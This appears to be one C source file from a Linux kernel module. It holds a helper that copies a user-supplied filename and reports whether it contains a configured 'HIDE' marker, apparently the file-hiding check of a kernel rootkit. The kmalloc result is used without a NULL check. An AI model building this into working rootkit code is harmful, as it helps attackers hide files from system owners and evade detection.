/**
 * is_name_invisible - 检查文件名是否包含隐藏标识
 * @filename: 用户空间中的文件名指针
 *
 * 该函数从用户空间复制文件名，并检查文件名中是否包含预定义的隐藏标识符（HIDE）。
 * 如果文件名包含隐藏标识符，则返回1，否则返回0。
 *
 * 返回值:
 * 1 - 文件名包含隐藏标识符
 * 0 - 文件名不包含隐藏标识符
 */
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/limits.h>
#include <linux/namei.h>

#include "dir.h"
#include "config.h"

int is_name_invisible(const char __user *filename)
{
	int ret = 0;
	char *name = kmalloc(PATH_MAX, GFP_KERNEL);

	if (strncpy_from_user(name, filename, PATH_MAX) > 0)
		if (strstr(name, HIDE))
		    ret = 1;

	kfree(name);
	return ret;
}